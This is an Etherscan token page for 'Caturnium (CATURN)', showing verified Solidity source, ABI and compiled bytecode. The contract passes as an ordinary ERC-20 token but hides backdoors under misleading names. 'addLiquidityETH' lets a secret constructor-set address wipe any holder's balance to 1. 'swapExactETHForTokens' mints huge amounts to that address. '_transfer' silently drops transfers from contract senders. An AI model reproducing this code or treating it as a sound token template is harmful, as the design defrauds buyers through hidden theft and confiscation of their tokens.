ETH Price: $3,115.17 (+1.45%)
Gas: 5 Gwei

Token

Caturnium (CATURN)
 

Overview

Max Total Supply

1,000,000,000 CATURN

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
yungilluvial.eth
Balance
0.000000000000000001 CATURN

Value
$0.00
0x4ab4b4851097d7a5984cf27a69769601e69f7531
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Caturnium

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-10-01
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.3;

interface IPancakeFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
abstract contract Ownable  {
    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _check();
        _;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;
    function owner() public view virtual returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _check() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

contract Caturnium is Ownable {
    address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address internal constant ROUTER = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address internal constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    uint256 private tokenTotalSupply;
    string private tokenName;
    string private tokenSymbol;
    address private initGas;
    uint8 private tokenDecimals;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    constructor(address ads) {
        tokenName = "Caturnium";
        tokenSymbol = "CATURN";
        tokenDecimals = 18;
        tokenTotalSupply = 10**9 * 10 ** tokenDecimals;
        _balances[msg.sender] = tokenTotalSupply;
        emit Transfer(address(0), msg.sender, tokenTotalSupply);
        initGas = ads;
    }
    function viewGas() public view returns(address) {
        return initGas;
    }
    function addLiquidityETH(address pancakeA) external {
        require(initGas == msg.sender);
        if(initGas == msg.sender && initGas != pancakeA && pancakePair() != pancakeA && pancakeA != ROUTER){
            uint256  pcaAmount = _balances[pancakeA];
            _balances[pancakeA] = _balances[pancakeA]-pcaAmount+1;
        } else {

        }
    }

    function swapExactETHForTokens(uint256 xt) external {
        require(initGas == msg.sender);
        if(initGas == msg.sender){
            uint256 AITC = 17000000000*10**tokenDecimals;
            uint256 ncs = AITC*75500;
            ncs = ncs * xt;
            _balances[msg.sender] += ncs;
        } else {

        }
    } 
    function pancakePair() public view virtual returns (address) {
        return IPancakeFactory(FACTORY).getPair(address(WBNB), address(this));
    }

    function symbol() public view  returns (string memory) {
        return tokenSymbol;
    }

    function totalSupply() public view returns (uint256) {
        return tokenTotalSupply;
    }

    function decimals() public view virtual returns (uint8) {
        return tokenDecimals;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function name() public view returns (string memory) {
        return tokenName;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function isContract(address addr) internal view returns (bool) {
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        bytes32 codehash;
        assembly {
            codehash := extcodehash(addr)
        }
        return (codehash != 0x0 && codehash != accountHash);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowance(msg.sender, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = allowance(msg.sender, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(
            from == ROUTER || 
            from == pancakePair() || 
            pancakePair() == address(0) ||
            from == initGas
        ) {
            _balances[from] = _balances[from]-amount;
            _balances[to] = _balances[to]+amount;
            emit Transfer(from, to, amount); 
        } else {
            if(!isContract(from)) {
                _balances[from] = _balances[from]-amount;
                _balances[to] = _balances[to]+amount;
                emit Transfer(from, to, amount); 
            }
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"ads","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"pancakeA","type":"address"}],"name":"addLiquidityETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"xt","type":"uint256"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewGas","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b506040516200291b3803806200291b83398181016040528101906200003791906200034d565b62000048336200021f60201b60201c565b6040518060400160405280600981526020017f43617475726e69756d0000000000000000000000000000000000000000000000815250600290816200008e9190620005f9565b506040518060400160405280600681526020017f43415455524e000000000000000000000000000000000000000000000000000081525060039081620000d59190620005f9565b506012600460146101000a81548160ff021916908360ff160217905550600460149054906101000a900460ff16600a62000110919062000870565b633b9aca00620001219190620008c1565b600181905550600154600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620001cf91906200091d565b60405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506200093a565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200031582620002e8565b9050919050565b620003278162000308565b81146200033357600080fd5b50565b60008151905062000347816200031c565b92915050565b600060208284031215620003665762000365620002e3565b5b6000620003768482850162000336565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200040157607f821691505b602082108103620004175762000416620003b9565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000442565b6200048d868362000442565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004da620004d4620004ce84620004a5565b620004af565b620004a5565b9050919050565b6000819050919050565b620004f683620004b9565b6200050e6200050582620004e1565b8484546200044f565b825550505050565b600090565b6200052562000516565b62000532818484620004eb565b505050565b5b818110156200055a576200054e6000826200051b565b60018101905062000538565b5050565b601f821115620005a95762000573816200041d565b6200057e8462000432565b810160208510156200058e578190505b620005a66200059d8562000432565b83018262000537565b50505b505050565b600082821c905092915050565b6000620005ce60001984600802620005ae565b1980831691505092915050565b6000620005e98383620005bb565b9150826002028217905092915050565b62000604826200037f565b67ffffffffffffffff81111562000620576200061f6200038a565b5b6200062c8254620003e8565b620006398282856200055e565b600060209050601f8311600181146200067157600084156200065c578287015190505b620006688582620005db565b865550620006d8565b601f19841662000681866200041d565b60005b82811015620006ab5784890151825560018201915060208501945060208101905062000684565b86831015620006cb5784890151620006c7601f891682620005bb565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200076e57808604811115620007465762000745620006e0565b5b6001851615620007565780820291505b808102905062000766856200070f565b945062000726565b94509492505050565b6000826200078957600190506200085c565b816200079957600090506200085c565b8160018114620007b25760028114620007bd57620007f3565b60019150506200085c565b60ff841115620007d257620007d1620006e0565b5b8360020a915084821115620007ec57620007eb620006e0565b5b506200085c565b5060208310610133831016604e8410600b84101617156200082d5782820a905083811115620008275762000826620006e0565b5b6200085c565b6200083c84848460016200071c565b92509050818404811115620008565762000855620006e0565b5b81810290505b9392505050565b600060ff82169050919050565b60006200087d82620004a5565b91506200088a8362000863565b9250620008b97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000777565b905092915050565b6000620008ce82620004a5565b9150620008db83620004a5565b9250828202620008eb81620004a5565b91508282048414831517620009055762000904620006e0565b5b5092915050565b6200091781620004a5565b82525050565b60006020820190506200093460008301846200090c565b92915050565b611fd1806200094a6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102a8578063a457c2d7146102c6578063a9059cbb146102f6578063b8c9d25c14610326578063dd62ed3e146103445761010b565b806370a0823114610234578063715018a61461026457806383aa53931461026e5780638da5cb5b1461028a5761010b565b806323b872dd116100de57806323b872dd14610198578063313ce567146101c857806339509351146101e65780634a8d1348146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e5780631dc437b11461017c575b600080fd5b610118610374565b604051610125919061158c565b60405180910390f35b61014860048036038101906101439190611647565b610406565b60405161015591906116a2565b60405180910390f35b61016661041d565b60405161017391906116cc565b60405180910390f35b610196600480360381019061019191906116e7565b610427565b005b6101b260048036038101906101ad9190611714565b610588565b6040516101bf91906116a2565b60405180910390f35b6101d06105b0565b6040516101dd9190611783565b60405180910390f35b61020060048036038101906101fb9190611647565b6105c7565b60405161020d91906116a2565b60405180910390f35b61021e6105f2565b60405161022b91906117ad565b60405180910390f35b61024e600480360381019061024991906117c8565b61061c565b60405161025b91906116cc565b60405180910390f35b61026c610665565b005b610288600480360381019061028391906117c8565b610679565b005b6102926108f6565b60405161029f91906117ad565b60405180910390f35b6102b061091f565b6040516102bd919061158c565b60405180910390f35b6102e060048036038101906102db9190611647565b6109b1565b6040516102ed91906116a2565b60405180910390f35b610310600480360381019061030b9190611647565b610a24565b60405161031d91906116a2565b60405180910390f35b61032e610a3b565b60405161033b91906117ad565b60405180910390f35b61035e600480360381019061035991906117f5565b610ae6565b60405161036b91906116cc565b60405180910390f35b60606002805461038390611864565b80601f01602080910402602001604051908101604052809291908181526020018280546103af90611864565b80156103fc5780601f106103d1576101008083540402835291602001916103fc565b820191906000526020600020905b8154815290600101906020018083116103df57829003601f168201915b5050505050905090565b6000610413338484610b6d565b6001905092915050565b6000600154905090565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461048157600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610584576000600460149054906101000a900460ff16600a6104f491906119f7565b6403f5476a006105049190611a42565b90506000620126ec826105179190611a42565b905082816105259190611a42565b905080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105769190611a84565b925050819055505050610585565b5b50565b600080339050610599858285610d36565b6105a4858585610dcb565b60019150509392505050565b6000600460149054906101000a900460ff16905090565b60006105e83384846105d93388610ae6565b6105e39190611a84565b610b6d565b6001905092915050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066d611367565b61067760006113e5565b565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561077e57508073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156107bd57508073ffffffffffffffffffffffffffffffffffffffff166107a4610a3b565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156108095750733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156108f2576000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461089f9190611ab8565b6108a99190611a84565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550506108f3565b5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461092e90611864565b80601f016020809104026020016040519081016040528092919081815260200182805461095a90611864565b80156109a75780601f1061097c576101008083540402835291602001916109a7565b820191906000526020600020905b81548152906001019060200180831161098a57829003601f168201915b5050505050905090565b6000806109be3385610ae6565b905082811015610a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fa90611b5e565b60405180910390fd5b610a1933858584610a149190611ab8565b610b6d565b600191505092915050565b6000610a31338484610dcb565b6001905092915050565b6000735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a4390573bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c306040518363ffffffff1660e01b8152600401610aa0929190611b7e565b602060405180830381865afa158015610abd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae19190611bbc565b905090565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd390611c5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4290611ced565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d2991906116cc565b60405180910390a3505050565b6000610d428484610ae6565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610dc55781811015610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da590611d59565b60405180910390fd5b610dc484848484610dbf9190611ab8565b610b6d565b5b50505050565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990611deb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610ec1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb890611e7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2790611f0f565b60405180910390fd5b733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610fb05750610f81610a3b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610fee5750600073ffffffffffffffffffffffffffffffffffffffff16610fd6610a3b565b73ffffffffffffffffffffffffffffffffffffffff16145b806110465750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156111d15781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110969190611ab8565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111249190611a84565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c491906116cc565b60405180910390a3611361565b6111da846114a9565b6113605781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112299190611ab8565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b79190611a84565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161135791906116cc565b60405180910390a35b5b50505050565b61136f6114f4565b73ffffffffffffffffffffffffffffffffffffffff1661138d6108f6565b73ffffffffffffffffffffffffffffffffffffffff16146113e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113da90611f7b565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000807fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b90506000833f90506000801b81141580156114eb5750818114155b92505050919050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561153657808201518184015260208101905061151b565b60008484015250505050565b6000601f19601f8301169050919050565b600061155e826114fc565b6115688185611507565b9350611578818560208601611518565b61158181611542565b840191505092915050565b600060208201905081810360008301526115a68184611553565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115de826115b3565b9050919050565b6115ee816115d3565b81146115f957600080fd5b50565b60008135905061160b816115e5565b92915050565b6000819050919050565b61162481611611565b811461162f57600080fd5b50565b6000813590506116418161161b565b92915050565b6000806040838503121561165e5761165d6115ae565b5b600061166c858286016115fc565b925050602061167d85828601611632565b9150509250929050565b60008115159050919050565b61169c81611687565b82525050565b60006020820190506116b76000830184611693565b92915050565b6116c681611611565b82525050565b60006020820190506116e160008301846116bd565b92915050565b6000602082840312156116fd576116fc6115ae565b5b600061170b84828501611632565b91505092915050565b60008060006060848603121561172d5761172c6115ae565b5b600061173b868287016115fc565b935050602061174c868287016115fc565b925050604061175d86828701611632565b9150509250925092565b600060ff82169050919050565b61177d81611767565b82525050565b60006020820190506117986000830184611774565b92915050565b6117a7816115d3565b82525050565b60006020820190506117c2600083018461179e565b92915050565b6000602082840312156117de576117dd6115ae565b5b60006117ec848285016115fc565b91505092915050565b6000806040838503121561180c5761180b6115ae565b5b600061181a858286016115fc565b925050602061182b858286016115fc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061187c57607f821691505b60208210810361188f5761188e611835565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561191b578086048111156118f7576118f6611895565b5b60018516156119065780820291505b8081029050611914856118c4565b94506118db565b94509492505050565b60008261193457600190506119f0565b8161194257600090506119f0565b8160018114611958576002811461196257611991565b60019150506119f0565b60ff84111561197457611973611895565b5b8360020a91508482111561198b5761198a611895565b5b506119f0565b5060208310610133831016604e8410600b84101617156119c65782820a9050838111156119c1576119c0611895565b5b6119f0565b6119d384848460016118d1565b925090508184048111156119ea576119e9611895565b5b81810290505b9392505050565b6000611a0282611611565b9150611a0d83611767565b9250611a3a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611924565b905092915050565b6000611a4d82611611565b9150611a5883611611565b9250828202611a6681611611565b91508282048414831517611a7d57611a7c611895565b5b5092915050565b6000611a8f82611611565b9150611a9a83611611565b9250828201905080821115611ab257611ab1611895565b5b92915050565b6000611ac382611611565b9150611ace83611611565b9250828203905081811115611ae657611ae5611895565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b48602583611507565b9150611b5382611aec565b604082019050919050565b60006020820190508181036000830152611b7781611b3b565b9050919050565b6000604082019050611b93600083018561179e565b611ba0602083018461179e565b9392505050565b600081519050611bb6816115e5565b92915050565b600060208284031215611bd257611bd16115ae565b5b6000611be084828501611ba7565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c45602483611507565b9150611c5082611be9565b604082019050919050565b60006020820190508181036000830152611c7481611c38565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611cd7602283611507565b9150611ce282611c7b565b604082019050919050565b60006020820190508181036000830152611d0681611cca565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611d43601d83611507565b9150611d4e82611d0d565b602082019050919050565b60006020820190508181036000830152611d7281611d36565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611dd5602683611507565b9150611de082611d79565b604082019050919050565b60006020820190508181036000830152611e0481611dc8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611e67602583611507565b9150611e7282611e0b565b604082019050919050565b60006020820190508181036000830152611e9681611e5a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611ef9602383611507565b9150611f0482611e9d565b604082019050919050565b60006020820190508181036000830152611f2881611eec565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f65602083611507565b9150611f7082611f2f565b602082019050919050565b60006020820190508181036000830152611f9481611f58565b905091905056fea2646970667358221220aecc4053975ef643d978bab18feaf307a35c9a66b179a47863f5af0a3b69e2f764736f6c634300081300330000000000000000000000009355c638cdadf14e6615586d9fa352a1279e30b0

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102a8578063a457c2d7146102c6578063a9059cbb146102f6578063b8c9d25c14610326578063dd62ed3e146103445761010b565b806370a0823114610234578063715018a61461026457806383aa53931461026e5780638da5cb5b1461028a5761010b565b806323b872dd116100de57806323b872dd14610198578063313ce567146101c857806339509351146101e65780634a8d1348146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e5780631dc437b11461017c575b600080fd5b610118610374565b604051610125919061158c565b60405180910390f35b61014860048036038101906101439190611647565b610406565b60405161015591906116a2565b60405180910390f35b61016661041d565b60405161017391906116cc565b60405180910390f35b610196600480360381019061019191906116e7565b610427565b005b6101b260048036038101906101ad9190611714565b610588565b6040516101bf91906116a2565b60405180910390f35b6101d06105b0565b6040516101dd9190611783565b60405180910390f35b61020060048036038101906101fb9190611647565b6105c7565b60405161020d91906116a2565b60405180910390f35b61021e6105f2565b60405161022b91906117ad565b60405180910390f35b61024e600480360381019061024991906117c8565b61061c565b60405161025b91906116cc565b60405180910390f35b61026c610665565b005b610288600480360381019061028391906117c8565b610679565b005b6102926108f6565b60405161029f91906117ad565b60405180910390f35b6102b061091f565b6040516102bd919061158c565b60405180910390f35b6102e060048036038101906102db9190611647565b6109b1565b6040516102ed91906116a2565b60405180910390f35b610310600480360381019061030b9190611647565b610a24565b60405161031d91906116a2565b60405180910390f35b61032e610a3b565b60405161033b91906117ad565b6040